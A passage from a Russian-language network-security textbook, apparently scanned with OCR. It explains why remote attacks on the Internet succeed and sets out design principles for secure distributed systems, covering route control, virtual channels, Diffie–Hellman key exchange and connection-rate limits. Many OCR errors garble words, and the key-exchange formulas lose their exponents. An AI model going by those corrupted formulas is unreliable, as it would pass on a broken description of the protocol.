В распределенных ВС в качестве начальной информации, идентифицирующей объект, обычно выступает его
адрес. Под адресом объекта понимается определенная системой уникальная информация, которой он
наделяется при занесении в РВС. Теперь все сообщения от других объектов РВС, посланные на этот адрес,
поступят на данный объект. Путь, или, как принято говорить, маршрут сообщения, определяется топологией
РВС и проходит через совокупность узлов - маршрутизаторов (роутсрон). Следовательно, в каждом
приходящем на объект пакете может быть полностью описан его маршрут - список адресов
маршрутизаторе)?, пройденных на пути к адресату. Такой отмеченный в пакете маршрут станет информаци-
ей, аутентифицирующей (подтверждающей) с точностью до подсети подлинность адреса отправителя (эта
идея уже реализована в системе электронной почты, использующей протокол SMTP). Другой вариант
аутентификации данного адреса - фильтрация маршрутизатором пакетов с неверным адресом.

  Если в РВС не предусмотреть подобного контроля за маршрутом сообщения, то адрес отправителя
сообщения оказывается ничем не подтвержденным. Таким образом, в системе будет существовать
возможность работы от имени любого объекта путем указания в заголовке сообщения чужого адреса
отправителя (IP Spoofing). В подобной РВС затруднительно определить, откуда на самом деле пришло
сообщение, а следовательно -вычислить координаты атакующего (в Internet невозможно найти инициатора
однонаправленной удаленной атаки).

  Следовательно, отсутствие в распределенной ВС возможности контролировать маршрут сообщений также
является причиной успеха удаленных атак на РВС, во-первых, из-за сложности контроля за созданием
соединений и, во-вторых, из-за возможности анонимной отправки сообщения.


  Отсутствие полной информации об объектах РВС

                                         

В распределенной системе с разветвленной структурой, состоящей из большого числа объектов, может
возникнуть ситуация, когда для доступа к определенному хосту у субъекта взаимодействия не окажется
необходимой информации, то есть адреса данного объекта. Поясним это на простом примере. Предположим,
что пользователь сети Internet решил подключиться, например, к WWW-серверу фирмы Novell. Он знает ее
название, но не имеет информации об IP-адресе или имени ее сервера. В этом случае пользователь может
послать широковещательный запрос всем хостам в сети, надеясь, что интересующий его сервер пришлет
искомый адрес. Очевидно, что в глобальной сети использование данной схемы, по меньшей мере, неразумно.

  Поэтому пользователь может подключиться к ближайшему известному ему поисковому серверу (например,
www.altavista.com). чтобы запросить адрес интересующей его фирмы. Итак, возможны следующие
алгоритмы удаленного поиска. В первом случае, когда такой поиск осуществляется внутри сегмента сети,
субъект системы посылает широковещательный запрос, который получают все объекты РВС, и тот из них,
для кого предназначалось сообщение, передает в ответ необходимую для адресации информацию. Во втором
случае, когда необходимо осуществить глобальный поиск, субъект распределенной системы посылает запрос
на ближайший информационно-поисковый сервер, который, просканировав свою базу, либо отошлет в ответ
на запрос найденный адрес, либо обратится к следующему в системе поисково-информационному серверу.

  Таким образом, если в распределенной ВС существуют объекты, информация о которых изначально не
определена, то для обеспечения нормального функционирования системы необходимоиспользовать
описанные выше алгоритмы удаленного поиска. Примером РВС с заложенной неопределенностью является
сеть Internet, в которой, во-первых, у хостов, находящихся в одном сегменте, может не быть информации об
аппаратных адресах друг друга и, во-вторых, применяются не пригодные для непосредственной адресации
мне монические имена хостов. Очевидно, что в системе подобного типа существует потенциальная
опасность внесения ложного объекта и выдачи одного объекта за другой путем передачи ложного ответа на
поисковый запрос.


  Отсутствие криптозащиты сообщений


  В распределенных ВС связь между объектами системы осуществляется по виртуальным каналам связи, а
следовательно, кракер имеет принципиальную возможность прослушать канал, получив
несанкционированный оступ к информации, которой обмениваются по сети се абоненты. Если эта
информация не зашифрована, то возникает угроза атаки типа <анализ сетевого трафика>. Использование
криптостойких алгоритмов шифрования пакетов обмена между объектами РВС на канальном (что обычно
выполняется аппаратно и на сегодняшний день редко встречается в обычных сетях) и прикладном уровнях
OSI делает сетевой анализ практически бессмысленным. Если в сети используются алгоритмы шифрования
пакетов на сетевом -прикладном уровнях, то шифрование применяется только к полям данных пакетов
соответствующих уровней, но не к их заголовкам; таким образом, атакующий, перехватив пакет, может
подвергнуть анализу полученную служебную информацию.


  Причины успеха удаленных атак в сети Internet


  Internet представляет собой распределенную вычислительную систему, инфраструктура которой
общеизвестна и хорошо описана. Поэтому рассмотренные в предыдущем разделе причины успеха удаленных
атак на РВС можно спроецировать па Internet и сделать вывод о существовании в данной Сети серьезных
пробелов в обеспечении безопасности. Внимательный читатель, изучая предыдущие разделы, уже, наверное,
мысленно осуществил подобную проекцию и обратил внимание на то, как недостатки, присущие
абстрактной распределенной ВС, легко обнаруживаются в реальной РВС - Internet.


  Отсутствие выделенного канала связи между объектами сети Internet


  Глобальная сеть не может быть построена по принципу прямой связи между объектами, поскольку для
каждого объекта невозможно обеспечить вы деленный канал связи с любым другим объектом. Поэтому в
Internet связь осуществляется через цепочку маршрутизаторов, а следовательно, сообщение, проходя через
большое количество промежуточных подсетей, может быть перехвачено. Также к Internet подключено
большое число локальных Ethernet-сетей, использующих топологию <общая шина>; в сетях с такой
топологиеи несложно программно осуществлять перехват сообщений. Однако данный недостаток нрисущ
скорее не Internet, a Ethernet.

  Недостаточные идентификация и аутентификация
В базовых протоколах обмена идентификация и аутентификация объектов практически отсутствуют. Так,
например, в прикладных протоколах . FTP, TELNET, РОРЗ имена и пароли пользователей передаются по
сети в виде открытых незашифрованных сообщений (см. главу 4). В существующем стандарте IPv4 протокол
сетевого уровня IP не предусматривает никакой идентификации и аутентификации объектов (за
исключением IP-адреса отправителя, подлинность которого, в свою очередь, невозможно подтвердить). Все
проблемы с идентификацией разработчики переложили па следующий, транспортный, уровень, за который
отвечают протоколы UDP и TCP. Так как протокол UDP не содержит в себе никакой дополнительной
идентифицирующей информации, единственным протоколом, призванным обеспечить безопасность в
Internet, является TCP, создающий виртуальный канал.

  Взаимодействие в сети Internet объектов без установления виртуального канала
Одной 113 особенностей Internet является взаимодействие объектов без создания виртуального канала.

  Очевидно, что разработчики планировали подобное изаимодействне в том случае, если обеспечения его
безопасности нс требуется. Однако и для управляющих ICMP-сообщений, и для DNS-запросов
иснользустся связь без ВК, что приводит к возможности осуществления атак, рассмотренных в главе 4.

  Использование нестойких алгоритмов идентификации объектов при создании виртуального TCP-
соединения
Как уже подчеркниалось, протокол TCP является единственным базовым протоколом транспортного
уровня, в функции которого заложена защита соединения. Однако использование простейшего алгоритма
идентификации объектов при создании виртуального TCP-канала (см. раздел <Подмена одного из субъектов
TCP-соединения в сети Internet> в главе 4), особенно при условии применения в сетевых ОС простейших
времязависимых законов генерации TCP-идентификаторов (ISN), сводит на нет все попытки обеспечения
идентификации канала и объектов при их взаимодействии по протоколу TCP.

  Невозможность контроля за виртуальными каналами связи
В существующем стандарте сети Internet нельзя обеспечить контроль за сетевыми соединениями, так как у
одного субъекта сетевого взаимодействия существует возможность занять неограниченное число каналов
связи с удаленным объектом и при этом остаться анонимным (см. главу 5). Из-за этого любой хост в сети
Internet может быть полностью парализован (см. главу 4).

  Отсутствие возможности контроля за маршрутом сообщений
Невозможность контроля в Internet за виртуальными каналами обусловлено отсутствием в Сети контроля за
маршрутом сообщений, а именно: в существующем стандарте IPv4 нельзя по пришедшему па хост сообще-
нию определить путь, через который оно прошло, а следовательно, невозможно проверить подлинность
адреса отправителя (см. главу 4).

  Отсутствие полной информации об объектах Internet
Очевидно, что в глобальной сети невозможно обеспечить на каждом ее объекте наличие информации о
любом другом объекте. Поэтому, как говорилось ранее, необходимо использовать потенциально опасные
алгоритмы удаленного поиска. В сети Internet используются, по меньшей мере, два алгоритма удаленного
поиска: ARP и DNS. Удаленные атаки, направленные на эти протоколы, рассмотрены в главе 4.

  Отсутствие криптозащиты сообщений
В существующих базовых протоколах семейства TCP/IP, обеспечивающих взаимодействие на сетевом и
транспортном уровнях, нс предусмотрена возможность шифрования сообщений, хотя очевидно, что добавить
ее в протокол TCP не составляло труда. Разработчики решили переложить задачу криптозащиты на
протоколы более высоких уровней, например прикладного уровня. При этом базовые протоколы
прикладного уровня (FTP, TELNET, HTTP и др.) также не предусматривали никакого шифрования
сообщений. Только не так давно появился общедоступный прикладной протокол SSL, встроенный в Netscape
Navigator, позволяющий как надежно зашифровать сообщение, так и подтвердит)> его подлинность. . В
заключение хотелось бы заметить, что все описанные выше причи-1 ны, по которым возможна успешная
реализация угроз безопасности : РВС, делают сеть Internet небезопасной (см. рис. 6.1). А следовательно, ' все
пользователи Сети могут быть атакованы в любой момент.


                                          

Рис. 6.1. Причины успеха удаленных атак




                                      Глава 7

                 БЕЗОПАСНЫЕ РАСПРЕДЕЛЕННЫЕ ВЫЧИСЛИТЕЛЬНЫЕ СИСТЕМЫ

План, что и говорить, был превосходный: простой и ясный, лучше
не придумаешь. Недостаток у него был только один: было
совершенно неизвестно, как привести его в исполнение.

  Л. Кэрролл. Алиса в стране чудес

  Описанные в предыдущих главах причины успеха удаленных атак на распределенные системы наглядно
продемонстрировали, что несоблюдение требований безопасности к защищенным системам связи удаленных
объектов РВС приводит к нарушению безопасности системы в целом. Поэтому данная глава посвящена
выработке требований для защищенного взаимодействия объектов в распределенной ВС. Чтобы определить,
из каких принципов нужно исходить при построении защищенной системы связи удаленных объектов в РВС,
расскажем о технологии создания таких систем.

  Очевидно, что при построении защищенных систем следует бороться нс с угрозами, основанными па
недостатках системы, а с причинами возможного их успеха. Поэтому для ликвидации угроз, осуществление
которых возможно по каналам связи, необходимо устранить причины, их порождающие. Это основной
принцип, руководствуясь которым, мы и сформулируем требования к защищенным системам
взаимодействия объектов в распределенных ВС.

  Выделенный канал связи
Все объекты распределенной ВС взаимодействуют между собой по каналам связи. Ранее рассматривалась
причина успеха удаленных атак, состоящая в использовании в РВС для связи между хостами
широковещательной
среды передачи, что означает подключение всех объектов РВС к одной общей шине (сетевая топология
<общая шина>, рис. 7.1). Это приводит к тому, что сообщение, адресованное только одному объекту
системы, будет получено всеми се объектами. Однако только тот объект, адрес которого указан в заголовке
сообщения, будет считаться получателем. Очевидно, что в РВС с топологией <общая шина> на уровнях,
начиная с сетевого и выше, необходимо использовать специальные методы идентификации объектов (см.

  далее раздел <Виртуальный канал связи>), так как идентификация на канальном уровне возможна только в
случае использования сетевых криптокарт (что на сегодняшний день является экзотикой).

  Очевидно, что идеальным с точки зрения безопасности будет взаимодействие объектов РВС по
выделенным каналам. Существуют два возможных способа организации топологии распределенной ВС с
выделенными каналами. В первом случае каждый объект связывается физическими линиями связи со всеми
объектами системы (рис. 7.2). Во втором случае в системе может использоваться сетевой коммутатор
(switch), через который осуществляется связь между объектами (топология <звезда>, рис. 7.3).


                                          


         - -------------------------------------------------------------

I Следует заметить, что в этом случае нарушается один из принципов построения Internet: сеть должна
функционировать при выходе из строя любой ее части.


          - -------------------------------------------------------------

Плюсы распределенной ВС с выделенными каналами связи между объектами состоят в следующем:

  
 передача сообщений осуществляется напрямую между источником и приемником, минуя остальные
объекты системы. В такой системе при отсутствии доступа к объектам, через которые осуществляется
передача сообщения, не существует программной возможности анализа сетевого трафика;
' имеется возможность идентифицировать объекты распределенной системы на канальном уровне по их
адресам без использования специальных криптоалгоритмов шифрования трафика, поскольку система
построена так, что по данному выделенному каналу осуществима связь только с одним определенным
объектом. Появление в такой распределенной системе ложного объекта невозможно без аппаратного
вмешательства (подключение дополнительного устройства к каналу связи);

 система с выделенными каналами связи - это система, в которой отсутствует неопределенность с
информацией о ее объектах. Каждый объект в такой системе однозначно идентифицируется и обладает
полной информацией о других объектах системы.


  Но у РВС с выделенными каналами есть и минусы: < сложность реализации и высокие затраты на создание
системы;

 ограниченное число объектов системы (зависит от числа входов у коммутатора);

 сложность внесения в систему нового объекта. Очевидно также, что создание глобальной РВС с
выделенными каналами на сегодняшний день невозможно.

  Анализируя плюсы и минусы использования выделенных каналов для построения защищенных систем
взаимодействия объектов РВС, можно сделать вывод, что создание распределенных систем только с
выделенными каналами или только с использованием широковещательной среды передачи неэффективно.

  Поэтому при построении распределенных вычислительных систем с разветвленной топологией и большим
числом объектов представляется правильным использование комбинированных сетевых топологий для
создания <гибких> распределенных систем. Чтобы обеспечить связь между объектами большой степени
значимости, можно использовать выделенный канал. Связь менее значимых объектов системы может осуще-
ствляться с применением комбинации общей шины и выделенного канала.

  Следует иметь в виду, что выбор безопасной топологии РВС является необходимым, но отнюдь не
достаточным условием для создания защищенных систем связи между объектами распределенных ВС.

  Итак, сформулируем первый принцип защищенного взаимодействия объектов РВС.


          - -------------------------------------------------------------

! Наилучшее с точки зрения безопасности взаимодействие объектов в распределенной ВС возможно только
по физически выделенному каналу

        - -------------------------------------------------------------.


  Виртуальный канал связи
Рассмотрим вопрос создания виртуальных каналов как средства обеспечения дополнительной
идентификации и аутентификации объектов в распределенной ВС. Ранее рассматривались наиболее
безопасные варианты физического построения сети, однако подобных мер явно недостаточно для создания
защищенного взаимодействия удаленных объектов, так как, во-первых, обеспечить взаимодействие всех
объектов по выделенному каналу на практике очень сложно и, во-вторых, нельзя не предусмотреть вариант
физического подключения к каналу. Следовательно, разработчик защищенной РВС должен исходить из
принципа возможного перехвата передаваемых по каналу связи сообщений.


          - -------------------------------------------------------------

! При разработке принципов защищенного взаимодействия объектов распределенной ВС необходимо
исходить из того, что все сообщения, передаваемые по каналу связи, могут быть перехвачены, но это не
должно нарушить безопасность системы в целом.


          - -------------------------------------------------------------

Таким образом, данное утверждение накладывает на разработчика следующие требования: необходимо
ввести дополнительные средства идентификации объектов в распределенной ВС и установить криптоза-
щиту передаваемых по каналу связи сообщений.

  Ранее уже отмечалось, что идентификация объектов РВСв отсутствии статической ключевой информации
возможна лишь при взаимодействии объектов с использованием виртуального канала. В дальнейшем
рассматривается только распределенная ВС, у объектов которой отсутствует ключевая информация для
связи друг с другом, - в подобной системе решить задачу безопасного взаимодействия несколько сложнее.

  Следовательно, чтобы ликвидировать причину успеха удаленных атак, а также исходя из только что
сформулированного утверждения, необходимо руководствоваться правилом, регламентирующим
осуществление всех взаимодействий в ВС по виртуальному каналу связи.


          - -------------------------------------------------------------

! Любое, сколь угодно критичное взаимодействие двух объектов в распре-Uly деленной ВС должно
проходить по виртуальному каналу связи.


          - -------------------------------------------------------------

Рассмотрим, как в РВС виртуальный канал связи (ВК) может использоваться для надежной, независимой
от топологии и физической организации системы идентификации удаленных объектов.

  Для этого при создании ВК могут использоваться криптоалгоритмы с открытым ключом (например,
недавно принятый в Internet стандарт защиты ВК, называемый Secure Socket Layer (SSL). Данные
криптоалгоритмы основаны на результатах исследований, полученных в 70-х годах У. Диффи. Он ввел
понятие односторонней функции с потайным входом. Это не просто вычисляемая в одну сторону функция,
обращение которой невозможно, она содержит trapdoor (потайной вход), позволяющий вычислять обратную
функцию лицу, знающему секретный ключ. Суть криптографии с открытым ключом (или двухключевой
криптографии) в том, что . ключи, имеющиеся в криптосистеме, входят в нее парами, и каждая пара
удовлетворяет следующим двум свойствам:

  1. Текст, зашифрованный на одном ключе, может быть дешифрован на другом.

  2. Знание одного ключа не позволяет вычислить другой. Поэтому один из ключей может быть
опубликован. При открытом ключе шифрования и секретном ключе дешифрования получается система
шифрования с открытым ключом. Каждый пользователь сети может зашифровать сообщение с помощью
открытого ключа, а расшифровать его сможет только владелец секретного ключа. При опубликовании
ключа
дешифрования получается система цифровой подписи. Здесь только владелец секретного ключа создания
подписи может правильно зашифровать 1 текст (то есть подписать его), а проверить подпись (дешифровать
текст) может любой па основании опубликованного ключа проверки подписи.

  В 1976 г. У. Диффи и М. Хеллман предложили следующий метод открытого распределения ключей.

  Пусть два объекта А и В условились о выборе в качестве общей начальной информации большого простого
числа р и примитивного корня степени р-1 из 1 в поле вычетов по модулю р. Тогда эти пользователи
действуют в соответствии с нижеприведенным протоколом (рис. 7.4):


                                          

1. А вырабатывает случайное число х, вычисляет число a" (mod р) и посылает его В.

  2. В вырабатывает случайное число у, вычисляет число a>' (mod р) и по-
 сылает его А.

  3. Затем А и В возводят полученное число в степень со своим показателем и получают число a"' (mod р).

  Это число и является сеансовым ключом для одноключевого алгоритма, например DES. Для раскрытия
этого ключа криптоаналитику необходимо но известным a" (mod р) и a" (mod р) найти a"' (mod р), то есть х
или у. Нахождение числа х по его экспоненте a' (mod р) называется задачей дискретного логарифмирования
в простом поле. Эта задача труднорешаема, и поэтому полученный ключ может быть стойким [7].

  Особенность данного криптоалгоритма состоит в том, что перехват по каналу связи пересылаемых в
процессе создания виртуального канала
сообщений a' (mod p) и a-" (mod p) не позволит атакующему получить конечный ключ шифрования а"У (mod
р). Далее этот ключ должен использоваться, во-первых, для цифровой подписи сообщений и, во-вторых, для
их криптозащиты. Цифровая подпись сообщений позволяет надежно идентифицировать объект
распределенной ВС и виртуальный канал. В завершение сформулируем следующий принцип защищенного
взаимодействия объектов РВС.


          - -------------------------------------------------------------

! Чтобы обеспечить надежную идентификацию объектов распределен-^ljjy ной ВС при создании
виртуального канала, необходимо использовать криптоалгоритмы с открытым ключом.


  - >Необходимо обеспечить цифровую подпись сообщений.


  - >Необходимо обеспечить возможность шифрования сообщений.


          - -------------------------------------------------------------

Контроль за маршрутом сообщения
Как известно, каждый объект распределенной ВС должен обладать адресом, уникально его
идентифицирующим. Для того чтобы сообщение от одного объекта было передано на другой объект
системы, оно должно пройти через цепь маршрутизаторов, задача которых - проанализировать указанный в
сообщении адрес назначения, выбрать оптимальный маршрут и, исходя из него, переправить пакет на
следующий маршрутизатор или непосредственно абоненту, если он напрямую подключен к данному узлу.

  Таким образом, маршрут до объекта определяется цепочкой узлов, пройденных сообщением. Как
указывалось выше, маршрут сообщения может являться информацией, с точностью до подсети
аутентифицирую-щей подлинность адреса субъекта, отославшего сообщение. Очевидно, что перед любой
системой связи объектов в РВС встает стандартная проблема проверки подлинности адреса сообщения,
пришедшего на объект. Эту задачу, с одной стороны, можно решить, введя дополнительную идентификацию
сообщений на другом, более высоком уровне OSI. Так, адресация может осуществляться на сетевом уровне, а
дополнительная идентификация, например, - на транспортном. Однако подобное решение не позволит
избежать контроля за созданием соединений, потому что дополнительная
идентификация абонентов возможна только после создания соединения. В связи с этим разработчикам
распределенной ВС можно предложить следующие пути решения проблемы.

  В первом случае функцию проверки подлинности адреса отправителя можно возложить на
маршрутизатор. Это несложно сделать, так как маршрутизатор отследит, откуда к нему пришел пакет (от
другого маршрутизатора или от подключенного к нему хоста из ближайших подсетей). Роутер может также
проверять соответствие адреса отправителя адресу подсети, откуда пришло сообщение. При совпадении
сообщение пересылается далее, а в противном случае - отфильтровывается. Этот способ позволит на
начальной стадии отбросить пакеты с неверными адресами отправителя.

  Другой вариант решения - создать в заголовке пакета специальные поля, куда каждый маршрутизатор,
через который проходит пакет, заносит маршрутную информацию (например, часть своего IP-адреса). При
этом первый маршрутизатор, на который поступил пакет, заносит также информацию о классе сети (А, В, С),
откуда пришел пакет. Тем нс менее внесение в пакет адресов всех пройденных маршрутизаторов будет
неоптимальным решением, так как сложно заранее определить максимальный размер заголовка пакета, и это
может серьезно увеличить размер передаваемого пакета.

  Когда сообщение дойдет до конечного адресата, в его заголовке полностью или частично (например,
достаточно отметить только первые три узла) будет отмечен пройденный маршрут. По этому маршруту, вне
зависимости от указанного в пакете сетевого адреса отправителя, можно с точностью до подсети, во-первых,
идентифицировать подлинность адреса и, во-вторых, определить истинный адрес отправителя. Итак, получив
подобное сообщение с указанным маршрутом, сетевая операционная система анализирует маршрут и
проверяет подлинность адреса отправителя. В случае его недостоверности пакет отбрасывается.

  Из всего вышесказанного следует принцип защищенного взаимодействия объектов РВС.


          - -------------------------------------------------------------

! В распределенной ВС на сетевом уровне необходимо обеспечить контроль за маршрутом сообщений для
аутентификации адреса отправителя.


          - -------------------------------------------------------------

Контроль за виртуальными соединениями
В предыдущей главе было показано, что взаимодействие объектов РВС по виртуальному каналу позволяет
надежно защитить соединение от возможных информационных разрушающих воздействий, осуществляемых
по каналам связи. Однако, как отмечалось ранее, взаимодействие по ВК имеет свои минусы. К минусам
относится необходимость введения механизма контроля за соединением. Если в системе связи удаленных
объектов РВС не предусмотреть использование надежных алгоритмов контроля за соединением, то,
избавившись от одного типа удаленных атак на соединение (<подмена доверенного объекта>), можно
подвергнуть систему другой типовой атаке <отказ в обслуживании>. Поэтому для обеспечения надежного
функционирования и работоспособности (доступности) каждого объекта распределенной ВС необходимо
прежде всего контролировать процесс создания соединения. Как уже говорилось, задача контроля за ВК
распадается на две подзадачи:

  1. Контроль за созданием соединения.

  2. Контроль за использованием соединения. Решение второй задачи лежит на поверхности: так как сетевая
операционная система не может одновременно иметь бесконечное число открытых ВК, то в случае, если ВК
простаивает в течение определенного системой тайм-аута, происходит закрытие соединения. Выбор тайм-
аута очистки очереди зависит от ряда параметров (подробнее об этом см. в главе 4).

  Далее рассмотрим возможный алгоритм, позволяющий обеспечить контроль за созданием соединения в

                                      РВС.


  Основная задача, которую необходимо решить в данном случае, состоит в том, чтобы не позволить одному
субъекту взаимодействия занять все виртуальные каналы системы. Напомним, что при создании ВК получен-
ный системой запрос на создание соединения ставится в очередь запросов, и когда до него дойдет время,
система выдаст ответ и отошлет его отправителю. Задача контроля за созданием соединения заключается как
раз в том, чтобы определить те правила, исходя из которых, система могла бы либо поставить запрос в
очередь, либо нет. Если все пришедшие запросы автоматически ставятся системой в очередь, при условии,
что она нс заполнена (так построены сетевые ОС, поддерживающие протокол TCP/IP), то в случае атаки это
приведет к переполнению очереди и к отказу в обслуживании всех остальных легальных запросов из-за того,
что атакующий посылает в секунду столько запросов, сколько позволяет трафик (тысячи запросов в
секунду), а обычный пользователь с легальным запросом на подключение может послать лишь несколько
запросов
в минуту. Следовательно, вероятность подключения легального пользова- .1 теля в такой ситуации, при
условии переполнения очереди, - в лучшем слу- ! чае один к миллиону. Поэтому необходимо ввести
ограничения на постановку в очередь запросов от одного объекта. Однако если в РВС любой объект ''
системы может послать запрос от имени (с адреса) другого объекта систе- ' мы, то, как отмечалось ранее,
решить задачу контроля- за созданием соединения нельзя. Чтобы обеспечить такую возможность, вводится
правило, исходя из которого, в каждом пришедшем на объект пакете должен быть указан пройденный им
маршрут, позволяющий с точностью до подсети подтвердить подлинность адреса отправителя, что даст
возможность отсеять все пакеты с неверным адресом отправителя. Учитывая это, можно предложить
следующее условие постановки запроса в очередь: в системе вводится ограничение на число
обрабатываемых в секунду запросов из одной подсети.

  Максимальное число ставящихся в очередь запросов в секунду определяется непосредственно
операционной системой и зависит от следующих параметров сетевой ОС: быстродействия, объема
виртуальной памяти, числа одновременно обслуживаемых виртуальных каналов, длины очереди и т. д.

  Вводимое ограничение не позволит атакующему переполнить очередь, так как только первые несколько его
запросов будут поставлены в очередь на обслуживание, а остальные проигнориру-ются. Первый же запрос
легального пользователя из другой подсети будет также сразу поставлен в очередь.

  К минусам контроля за созданием соединения можно отнести то, что атакующий имеет возможность
посылать запросы от имени любого объекта своей подсети, так как адрес отправителя аутентифицируется
только с точностью до подсети. Следовательно, в случае атаки все остальные объекты из подсети
атакующего будут лишены возможности подключения к атакуемому объекту. Но такая атака вряд ли имеет
смысл, так как, во-первых, атакующего по указанному в пакете маршруту можно вычислить с точностью до
подсети и, во-вторых, не произойдет нарушения цели атаки. В завершение - об очередном требовании
защищенного взаимодействия объектов РВС.


          - -------------------------------------------------------------

! Для обеспечения доступности ресурсов распределенной ВС необходим
контроль за виртуальными соединениями между ее объектами.


          - -------------------------------------------------------------


         - -------------------------------------------------------------

- > Необходимо обеспечить контроль за созданием соединения, дя ограничение на число
обрабатываемых в секунду запросов из одной подсети.


          - -------------------------------------------------------------




          - -------------------------------------------------------------

- >Необходимо обеспечить контроль за использованием соединения, разрывая его по тайм-ауту при
отсутствии сообщений

        - -------------------------------------------------------------.


  Проектирование распределенной ВС
Рассмотрим проектирование РВС с полностью определенной информацией о ее объектах, чтобы исключить
алгоритмы удаленного поиска.

  Одной из особенностей распределенной ВС является возможное отсутствие информации, необходимой для
доступа к ее удаленным объектам, поэтому возникает необходимость использования потенциально опасных
с точки зрения безопасности алгоритмов удаленного поиска. Следовательно, чтобы такой необходимости в
РВС не возникало, на начальном этапе нужно спроектировать систему, полностью определив информацию о
ее объектах. Это позволит, в свою очередь, ликвидировать одну из причин успеха удаленных атак, связанных
с использованием в РВС алгоритмов удаленного поиска.

  Однако в РВС с неопределенным и достаточно большим числом объектов (например, Internet)
спроектировать систему с отсутствием неопределенности практически нельзя. В этом случае отказаться от
алгоритмов удаленного поиска не представляется возможным.

  Существуют два типа таких алгоритмов. Первый - с использованием информационно-поискового сервера,
второй - с использованием широковещательных запросов. Применение в РВС алгоритма удаленного поиска с
использованием широковещательных запросов в принципе нс позволяет защитить систему от внедрения в
нее ложного объекта, а следовательно, использование данного алгоритма в защищенной системе
недопустимо. Применение в распределенной ВС алгоритма удаленного поиска с использованием
информационно-поискового сервера позволяет обезопасить систему от внедрения в нее ложного объекта в
том случае, если, во-первых, взаимодействие объектов системы с сервером происходит только с созданием
виртуального канала и, во-вторых, у объектов, подключенных к данному серверу, и у сервера существует
заранее определенная статическая ключевая информация, используемая при создании виртуального канала.

  При выполнении этих условий невозможно будет передать ложный ответ на запрос объекта.

  Поясним последнее утверждение. Если виртуальный канал с информационно-поисковым сервером
создается с использованием только динамически вырабатываемой ключевой информации, например по схеме
открытого
распределения ключей, то ничто не мешает атакующему (в том случае, когда он может перехватить
первоначальный запрос на создание ВК с объекта системы) послать ложный ответ и создать виртуальный
канал от имени настоящего сервера. Именно поэтому на всех объектах системы необходима начальная
ключевая информация для создания ВК с информационно-поисковым сервером.

  В заключение предлагаются требования, которыми необходимо руководствоваться при создании
защищенных распределенных ВС.


          - -------------------------------------------------------------

! Наиболее безопасной распределенной ВС является та, в которой информация о ее объектах изначально
полностью определена и в которой не используются алгоритмы удаленного поиска.


          - -------------------------------------------------------------

! В том случае, если предыдущее требование выполнить невозможно, в РВС необходимо использовать лишь
алгоритм удаленного поиска с выделенным информационно-поисковым сервером; при этом взаимодействие
объектов системы и данного сервера должно осуществляться только по виртуальному каналу с
применением надежных криптоалго-ритмов защиты соединения и статической ключевой информации.


          - -------------------------------------------------------------

- > В распределенной ВС для обеспечения безопасности необходимо ' отказаться от алгоритмов
удаленного поиска с использованием широковещательных запросов.


          - -------------------------------------------------------------

Заканчивая главу, обращаем внимание читателей на то, что в Internet (стандарт IPv4) практически ни одно
из сформулированных требований к построению безопасных распределенных систем не выполняется. Поэто-
му мы позволили себе привести те требования, с учетом которых, по нашему мнению, должна строиться
распределенная ВС. Кстати, приняв во внимание собственные ошибки в разработке стандарта IPv4,
специалисты уже завершают создание нового, более защищенного стандарта Internet- IPv6, где будут учтены
некоторые вышеизложенные требования. Однако разговор о безопасности сети Internet в IPv6 несколько
преждевременен, и его лучше отложить до окончательного выхода стандарта в свет.



                                      Глава 8



                 КАК ЗАЩИТИТЬСЯ ОТ УДАЛЕННЫХ АТАК В СЕТИ INTERNET

- ...Скажите мне честно - есть ли хоть какой-то выход из этого кошмара? -
Выход всегда есть, - ответил Эркюль Пуаро.

  А. Кристи. Подвиги Геркулеса
Прежде чем говорить о различных аспектах обеспечения информационной безопасности в сети Internet,
пользователь должен ответить на вопрос: <А что мне защищать?> Вы скажете - странный вопрос. Ничуть!

  Особенность Internet на сегодняшний день состоит в том, что 99% информационных ресурсов Сети являются
общедоступными. Удаленный доступ к этим ресурсам может осуществляться анонимно, любым
неавторизованным пользователем. Примером подобного неавторизованного доступа (если он разрешен)
является подключение к WWW- илиРТР-ссрверам. Теперь, даже если при помощи одной из описанных
удаленных атак из предыдущей главы трафик пользователя будет, например, перехвачен и пройдет через
сегмент сети атакующего, то последний не получит ничего, кроме и так общедоступной информации, а
следовательно, в подобной атаке для кракера нет никакого смысла! Поэтому первая проблема, которую
должен решить каждый пользователь, заключается в выборе вида удаленного доступа к ресурсам Сети. Если
пользователь планирует осуществлять в Internet только пеавторазованный удаленный доступ, то ему
абсолютно нс нужно заботиться о безопасности соединения (именно соединения, а не собственных
ресурсов!). Если же планируется авторизованный доступ к удаленным ресурсам, то следует обратить на эту
проблему особое внимание.

  Определившись, к каким ресурсам сети Internet пользователь намерен осуществлять доступ, необходимо
ответить на следующий вопрос: собирается ли пользователь разрешать удаленный доступ из Сети к своим
ресурсам? Если нет, то тогда имеет смысл использовать в качестве сетевой ОС <чисто клиентскую>
(например, Windows 98 или NT Workstation), которая не содержит программ-серверов, обеспечивающих
удаленный доступ,
а значит, удаленный доступ к данной системе в принципе невозможен, так как он просто не предусмотрен
программой (правда, с одним но: под данные системы действительно нет серверов FTP, TELNET, WWW и т.

  д., и нельзя забывать про встроенную в ОС возможность предоставлять удаленный доступ к файловой
системе, так называемое share (разделение ресурсов)). Например, давно известна программа, при некоторых
условиях предоставляющая атакующему несанкционированный удаленный доступ к файловой системе ОС
Windows NT 4.0. Выбор клиентской операционной системы во многом решает проблемы безопасности для
данного пользователя (нельзя получить доступ к ресурсу, которого просто нет!), однако в этом случае
ухудшается функциональность системы. Здесь своевременно сформулировать, на наш взгляд, одну из
основных аксиом безопасности.


          - -------------------------------------------------------------

! Принципы доступности, удобства, быстродействия и функционально сти вычислительной системы
антагонистичны принципам ее безопасности.


          - -------------------------------------------------------------

Данная аксиома очевидна: чем более доступна, удобна, быстра и многофункциональна ВС, тем она менее
безопасна. Например, служба DNS: удобно, но опасно.

  Вернемся к выбору пользователем клиентской сетевой ОС. Это, кстати, один из весьма здравых шагов,
ведущих к сетевой политике изоляционизма. Данная сетевая политика безопасности заключается в
осуществлении как можно более полной изоляции своей вычислительной системы от внешнего мира. Также
одним из шагов к обеспечению политики является, к примеру, использование систем Firewall, позволяющих
создать выделенный защищенный сегмент (например, приватную сеть), отделенный от глобальной сети.

  Конечно, ничто не мешает довести политику сетевого изоляционизма до абсурда - просто выдернуть сетевой
кабель (полная изоляция от внешнего мира!). Не забывайте, это тоже <решение> всех проблем с удаленными
атаками и сетевой безопасностью (в связи с полным отсутствием оных).

  Итак, пусть пользователь Internet решил для доступа в сеть применить только клиентскую сетевую ОС и
осуществлять с ее помощью неавторизованный доступ. Проблемы с безопасностью решены? Нет! Мы чуть
